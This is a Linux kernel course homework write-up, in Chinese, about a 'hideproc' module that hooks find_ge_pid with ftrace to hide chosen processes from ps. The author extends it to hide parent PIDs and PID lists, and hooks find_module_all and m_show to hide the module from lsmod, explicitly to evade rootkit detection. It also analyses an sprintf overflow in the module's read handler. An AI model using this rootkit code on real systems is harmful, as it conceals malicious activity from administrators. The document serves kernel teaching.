---
# System prepended metadata

title: 2021q3 Homework1 (quiz1)
tags: [2021 年暑期「Linux 核心」]

---

#  2021q3 Homework1 (quiz1)
###### tags: `2021 年暑期「Linux 核心」`
contributed by \<u1f383>

由於當初以為在 10 分鐘之內就要送出答案，因此沒能好好完成==作答區==的問題，在此補上答案:
:::success
AAA = list_for_each_entry_safe
BBB = list_for_each_entry_safe
CCC = list_add_tail(&proc->list_node, &hidden_proc);
DDD = list_del(&proc->list_node);
:::

## 0. 環境
``` shell
$ uname -a            
Linux ubuntu 5.8.0-63-generic ... x86_64 x86_64 x86_64 GNU/Linux
```

## 1. 解釋上述程式碼運作原理，包含 ftrace 的使用

kernel module 在 init function 時透過 `device_create()` 註冊了 device，其中也包含定義對 device 執行 `open` `release` `read` `write` 所呼叫到的 function，比較重要的為 `read` 以及 `write`:

``` c
/* called when user read something from device */
static ssize_t device_read(struct file *filep,
                           char *buffer,
                           size_t len,
                           loff_t *offset)
{
    pid_node_t *proc, *tmp_proc;
    char message[MAX_MESSAGE_SIZE];
    if (*offset)
        return 0;

    /* copy all proc pid of hidden procs to user */
    list_for_each_entry_safe (proc, tmp_proc, &hidden_proc, list_node) {
        memset(message, 0, MAX_MESSAGE_SIZE);
        sprintf(message, OUTPUT_BUFFER_FORMAT, proc->id);
        copy_to_user(buffer + *offset, message, strlen(message));
        *offset += strlen(message);
    }
    return *offset;
}
```
當執行 `read` 時會呼叫 `device_read`，遍歷所有的 `hidden_proc`，並且將每個 process 的 pid 連接後回傳給使用者。

``` c
/* called when user write something into device */
static ssize_t device_write(struct file *filep,
                            const char *buffer,
                            size_t len,
                            loff_t *offset)
{
    long pid;
    char *message;

    char add_message[] = "add", del_message[] = "del";
    if (len < sizeof(add_message) - 1 && len < sizeof(del_message) - 1)
        return -EAGAIN;

    message = kmalloc(len + 1, GFP_KERNEL);
    memset(message, 0, len + 1);
    copy_from_user(message, buffer, len);

    if (!memcmp(message, add_message, sizeof(add_message) - 1)) { /* add <pid> */
        kstrtol(message + sizeof(add_message), 10, &pid);
        hide_process(pid);
    } else if (!memcmp(message, del_message, sizeof(del_message) - 1)) { /* del <pid> */
        kstrtol(message + sizeof(del_message), 10, &pid);
        unhide_process(pid);
    } else {
        kfree(message);
        return -EAGAIN;
    }

    *offset = len;
    kfree(message);
    return len;
}
```
當執行 `write` 時會呼叫 `device_write`，當接收到的 data 格式為 `add <pid>`，會執行 `hide_process` 把 `<pid>` 加入 hidden process 的 list 當中；當接收到的 data 格式為 `del <pid>`，會執行 `unhide_process` 把 `<pid>` 從 hidden process 的 list 當中移除。

而在 init function 的最後呼叫 `init_hook`，初始化 ftrace 相關 structure，流程大致如下:
1. 在 function `init_hook` 中初始化了 hook 的名稱 `"find_ge_pid"`、hook function `hook_find_ge_pid` 以及要被 hook 的 function `find_ge_pid`
2. 而後在 function `hook_install` 中，設定了 ftrace rule，rule 大致上是當 kernel 執行到 `find_ge_pid` 時，會先去執行 filter function `hook_ftrace_thunk`，`hook_ftrace_thunk` 會先判斷 `find_ge_pid` 是否由當前 module 所呼叫，若不是的話，會將 instruction pointer (ip) 指向先前設定的 hook function `hook_find_ge_pid`
3. 呼叫 `register_ftrace_function` 註冊 ftrace function，最後離開程式

根據 `find_ge_pid` 的註解說明，此 function 用在找尋大於等於 (ge) 給定 pid 的 process 的 struct pid，在 userland 中找尋 process 相關的命令如 `ps` 皆會使用到，然而 ftrace 會在真正執行之前加上 hook function 來做處理，讓我們看一下 hook function `hook_find_ge_pid` 的行為:
``` c
static struct pid *hook_find_ge_pid(int nr, struct pid_namespace *ns)
{
    /* First we get the orig return pid from find_ge_pid() */
    struct pid *pid = real_find_ge_pid(nr, ns);
    /* Next we check whether the pid is in hidden_proc list,
        if it is, return pid greater than or equal nr+1 and
        not hidden instead of return the pid of hidden proc. */
    while (pid && is_hidden_proc(pid->numbers->nr))
        pid = real_find_ge_pid(pid->numbers->nr + 1, ns);
    return pid;
}
```
`hook_find_ge_pid` 會先取得原本執行 `real_find_ge_pid` 的結果，如果回傳的 pid 存在於 hidden_proc，也就是先前透過 `write` 來定義的 pid list，就會將 pid + 1 後在執行 `real_find_ge_pid`。該步驟重複執行到 pid 不在 `hidden_proc` 當中，就會將結果回傳，繼續執行。

做個總結:
1. user 可以透過對 device 下命令，透過 `write` 傳入如 `add <pid>` 的字串，讓 module 把 `<pid>` 加到 `hidden_proc`
2. userland 執行 `ps` 相關取得 process 資訊的指令時，ftrace function 會被 trigger，並且回傳不在 `hidden_proc` 中大於等於 pid 的 process 的 struct pid

## 2. 本程式僅在 Linux v5.4 測試，若你用的核心較新，請試著找出替代方案
> 2020 年的變更 Unexporting kallsyms_lookup_name()
Access to kallsyms on Linux 5.7+

[linux kernel document](https://www.kernel.org/doc/html/latest/livepatch/livepatch.html#motivation) 中有提到 linux kenrel 提供許多機制可以做程式執行重導向，目的是讓 user 能夠在不重開機的情況下，能夠修補引發錯誤的 critical function。透過這些機制能夠取得 function pointer 並使用，而在本實驗中也可以用來取得 `kallsyms_lookup_name` 的 function pointer。

而在這邊我選擇使用 livepatch 的方式，並參考 [kallsyms-mod repo](https://github.com/h33p/kallsyms-mod) 說明並加以研究:
1. kernel livepatching interface
``` c
/* -----------add----------- */
/**
 * @old_name:	name of the function to be patched
 * @new_func:	pointer to the patched function code
 */
static struct klp_func funcs[] = {
	{
		.old_name = "kallsyms_lookup_name",
		.new_func = kallsyms_lookup_name,
	}, { }
};

static struct klp_func failfuncs[] = {
	{
		.old_name = "___________________",
	}, { }
};

/**
 * klp_object - kernel object structure for live patching
 * @name:	module name (or NULL for vmlinux)
 * @funcs:	function entries for functions to be patched in the object
 */
static struct klp_object objs[] = {
	{
		.funcs = funcs,
	},
	{
		.name = "kallsyms_failing_name",
		.funcs = failfuncs,
	}, { }
};

/**
 * klp_patch - patch structure for live patching
 * @mod:	reference to the live patch module
 * @objs:	object entries for kernel objects to be patched
 */
static struct klp_patch patch = {
	.mod = THIS_MODULE,
	.objs = objs,
};

unsigned long kallsyms_lookup_name(const char *name)
{
	return ((unsigned long(*)(const char *))funcs->old_func)(name);
}

int init_kallsyms(void)
{
    /* klp_enable_patch - enable the livepatch */
	int r = klp_enable_patch(&patch);

	if (!r)
		return -1;

	return 0;
}

/* -----------patch----------- */
static void init_hook(void)
{
    if (init_kallsyms() != 0)
        return;
    real_find_ge_pid = kallsyms_lookup_name("find_ge_pid");
    printk(KERN_INFO "find_ge_pid: %lx\n", real_find_ge_pid);
    ...
}
```
將上述程式碼加進 `hideproc.c` 後，並需要額外 include `<linux/livepatch.h>`，以及定義 module info `MODULE_INFO(livepatch, "Y");` 就能順利執行。

而這邊有個匪夷所思的地方，如果 livepatch 沒有加上 obj `kallsyms_failing_name` 則無法順利執行，但是我有嘗試執行過官方提供的 [sample code](https://github.com/torvalds/linux/blob/master/samples/livepatch/livepatch-sample.c) 來執行，除了最後要使用 `echo 0 | sudo tee /sys/kernel/livepatch/hideproc/enabled` 關閉 livepatch 才能順利 remove module 之外，也沒有特別加上 failing function:
``` c
{
    .name = "kallsyms_failing_name",
    .funcs = failfuncs,
}, 
```

## 3. 本核心模組只能隱藏單一 PID，請擴充為允許其 PPID 也跟著隱藏，或允許給定一組 PID 列表，而非僅有單一 PID

### 允許給定一組 PID 列表，而非僅有單一 PID
``` c
/* called when user write something into device */
static ssize_t device_write(struct file *filep,
                            const char *buffer,
                            size_t len,
                            loff_t *offset)
{
    ...
    if (!memcmp(message, add_message, sizeof(add_message) - 1)) { /* add <pid> */
        char *pid_list = message + sizeof(add_message);
        char **ptr = &pid_list;
        char *cur;

        while ((cur = strsep(ptr, " ")) != NULL) {
            if (strlen(cur) && !kstrtol(cur, 10, &pid)) {
                printk(KERN_INFO "[add] get pid: %ld\n", pid);
                hide_process(pid);
            }
        }
    } else if (!memcmp(message, del_message, sizeof(del_message) - 1)) { /* del <pid> */
        char *pid_list = message + sizeof(del_message);
        char **ptr = &pid_list;
        char *cur;

        while ((cur = strsep(ptr, " ")) != NULL) {
            if (strlen(cur) && !kstrtol(cur, 10, &pid)) {
                printk(KERN_INFO "[del] get pid: %ld\n", pid);
                unhide_process(pid);
            }
        }
    }
    ...
}
```
當使用者傳送的資料格式為 `add <pid1>{spaces}<pid2>{spaces}<pidN>` 或是 `del <pid1>{spaces}<pid2>{spaces}<pidN>`，hideproc 可以透過 `strsep` parse 傳入的 pids 做到一次新增/刪除多個 pid。

### 允許其 PPID 也跟著隱藏
``` c
static int hide_process(pid_t pid)
{
    pid_node_t *proc = kmalloc(sizeof(pid_node_t), GFP_KERNEL);
    proc->id = pid;
    list_add_tail(&proc->list_node, &hidden_proc); /* add a new node to tail of list_head */

    /**
     * Get the corresponding task_struct from pid, and if pid has parent,
     * create a new hidden proc node for it.
     */
    struct task_struct *p = pid_task(find_vpid(pid), PIDTYPE_PID);
    
    /* The process has parent :) */
    if (p != NULL && p->parent != NULL) {
        pid_node_t *parent = kmalloc(sizeof(pid_node_t), GFP_KERNEL);
        parent->id = p->parent->pid;
        list_add_tail(&parent->list_node, &hidden_proc);
    }

    return SUCCESS;
}
```
在隱藏指定 pid 時，先去看是否 pid 有 parent，如果有的話也把他加到 hidden_proc 當中。而檢察是否有 parent 的方式為: 先用 `pid_task()` 取得對應 pid 的 `task_struct`，而其中 member `parent` 則是指向 parent 的 `task_struct`，如果 pointer 存在代表有 parent，即可從 member `pid` 取得 parent pid。

## 4.指出程式碼可改進的地方，並動手實作
**從功能方面**來看，由於使用 `lsmod` 指令仍可以看到此 module，作為 rootkit 來使用容易被發現，因此效法 hidden process 的方法，透過 hook 的方式讓 module 不會在 `lsmod` 中顯示，但是仍會出現在目錄 `/dev` 底下。
``` c
#define MODULE_NAME "hideproc_m"

static struct module *hook_find_module_all(const char *name, size_t len,
                                            bool even_unformed)
{
    if (!strcmp(name, MODULE_NAME))
        return NULL;

    return real_find_module_all(name, len, even_unformed);
}

static int *hook_m_show(struct seq_file *m, void *p)
{
    struct module *mod = list_entry(p, struct module, list);

    if (!strcmp(mod->name, MODULE_NAME))
        return 0;
    return real_m_show(m, p);
}

static void init_hook(void)
{
    if (init_kallsyms() != 0)
        return;
    
    /**
     * find_module_all is called when user use command such 
     * as "rmmod", so hooking at find_module_all and check if
     * argument is our module name, if it is, just return.
     */
    real_find_module_all = kallsyms_lookup_name("find_module_all");
    printk(KERN_INFO "find_module_all: %lx\n", real_find_module_all);
    module_hook.name = "find_module_all";
    module_hook.func = hook_find_module_all; /* hook function */
    module_hook.orig = &real_find_module_all; /* real function */
    hook_install(&module_hook);

    ...

    /**
     * When user uses command "lsmod", it will read /proc/modules,
     * and /proc/modules will use kernel function "m_show" to show
     * all module information.
     * We hook at m_show called, and check if argument is struct of 
     * our module, if it is, just return. */
    real_m_show = kallsyms_lookup_name("m_show");
    printk(KERN_INFO "m_show: %lx\n", real_m_show);
    m_show_hook.name = "m_show";
    m_show_hook.func = hook_m_show; /* hook function */
    m_show_hook.orig = &real_m_show; /* real function */
    hook_install(&m_show_hook);
}
```

---

資源使用方面補齊了 `_hideproc_exit()` 當中需要 release 資源的部分，以免造成 memory leak:
``` c
/**
 * _hideproc_exit() - reset ftrace hook and clear device
 */
static void _hideproc_exit(void)
{
    printk(KERN_INFO "@ %s\n", __func__);
    /* free all memory */
    pid_node_t *proc, *tmp_proc;
    list_for_each_entry_safe (proc, tmp_proc, &hidden_proc, list_node) {
        list_del(&proc->list_node);
        kfree(proc);
    }
    /* remove ftrace hook */
    hook_remove(&module_hook);
    hook_remove(&ge_pid_hook);
    hook_remove(&m_show_hook);
    /* removes a device that was created with device_create() */
    device_destroy(hideproc_class, MKDEV(MAJOR(dev), MINOR_VERSION));
    cdev_del(&cdev); /* remove a cdev from the system */;
    class_destroy(hideproc_class); /* destroys a struct class structure */
    /* unregister a range of device numbers */
    unregister_chrdev_region(&dev, MINOR_VERSION);
}
```

---

然後我發現 `read` 的部分可能會有 overflow 的問題:
``` c
/* called when user read something from device */
static ssize_t device_read(struct file *filep,
                           char *buffer,
                           size_t len,
                           loff_t *offset)
{
    ...
    char message[MAX_MESSAGE_SIZE]; // buffer size 13
    ...
    list_for_each_entry_safe (proc, tmp_proc, &hidden_proc, list_node) {
        memset(message, 0, MAX_MESSAGE_SIZE);
        sprintf(message, OUTPUT_BUFFER_FORMAT, proc->id);
        copy_to_user(buffer + *offset, message, strlen(message));
        *offset += strlen(message);
    }
    return *offset;
}
```
其中 `proc->id` 的型態是 `pid_t`:
``` c
// https://elixir.bootlin.com/linux/v5.8/source/include/linux/types.h#L22
typedef __kernel_pid_t		pid_t;

// https://elixir.bootlin.com/linux/v5.8/source/include/uapi/asm-generic/posix_types.h#L28
typedef int		__kernel_pid_t;
```
pid 的上限為 4194304 (`/proc/sys/kernel/pid_max`)，而透過 `sprintf()` 產生出來的最長字串為 `pid: 4194304\n` 13 bytes，但是 `sprintf()` 結尾會有一個 NULL byte，可以透過簡單的 c 程式做範例:
``` c
#include <stdio.h>

int main()
{
    char message[13] = {0};
    sprintf(message, "pid: %d\n", 4194304);

    return 0;
}
```
在編譯時期 gcc 就會跳出警告:
```
test.c: In function ‘main’:
test.c:6:32: warning: ‘sprintf’ writing a terminating nul past the end of the destination [-Wformat-overflow=]
    8 |     sprintf(message, "pid: %d\n", 4194304);
      |                                ^
test.c:6:5: note: ‘sprintf’ output 14 bytes into a destination of size 13
    8 |     sprintf(message, "pid: %d\n", 4194304);
      |     ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```

寫入前執行 `set *(int64_t*)(0x7fffffffdd2b+8)=0xdeadbeefdeadbeef` 幫助我們觀察:
```
pwndbg> x/10gx 0x7fffffffdd2b
0x7fffffffdd2b:	0x0000000000000000	0xdeadbeefdeadbeef
0x7fffffffdd3b:	0x000000b1a5490c47	0xde10b30000000000
```
寫入後:
```
pwndbg> x/10gx 0x7fffffffdd2b
0x7fffffffdd2b:	0x393134203a646970	0xdead000a34303334
0x7fffffffdd3b:	0x000000b1a5490c47	0xde10b30000000000
```
在第 14 個 byte 被寫入 00 (NULL byte)，因此可能會造成

這只是正常情況下會發生的問題，然而我們沒辦法保證使用者傳入的 `pid` 是否是正常的 pid 範圍 (1~4194304)，至少因為 pid 的型態是 `int`，最多可以到 `2147483647`，然而 10 bytes 的字串就足夠蓋到變數 `message[]` 正常能夠存取到的地方了。

而如果電腦是 32 位元，是否會有更大的問題？

解決方法有二:
1. 限制傳入的 pid 是否符合 `/proc/sys/kernel/pid_max` 所規範
2. 將 buffer size 設定成更大的數值

由於是從 kernel space 將資料 copy 到 userland，我們會好奇是否能透過 `device_read` 取得 kernel 記憶體位置，不過的是這邊使用的是 `sprintf`，結尾必定會加上 NULL byte 來截斷，因此沒辦法來 leak kernel address；而因為 buffer 下面的就是 canary 了，因此能 overflow 的部分也沒辦法做利用。

---

最後有發現 hidden_proc 並沒有檢測是否出現 duplicate pid，因此可以在每次新增 list node 時做檢查。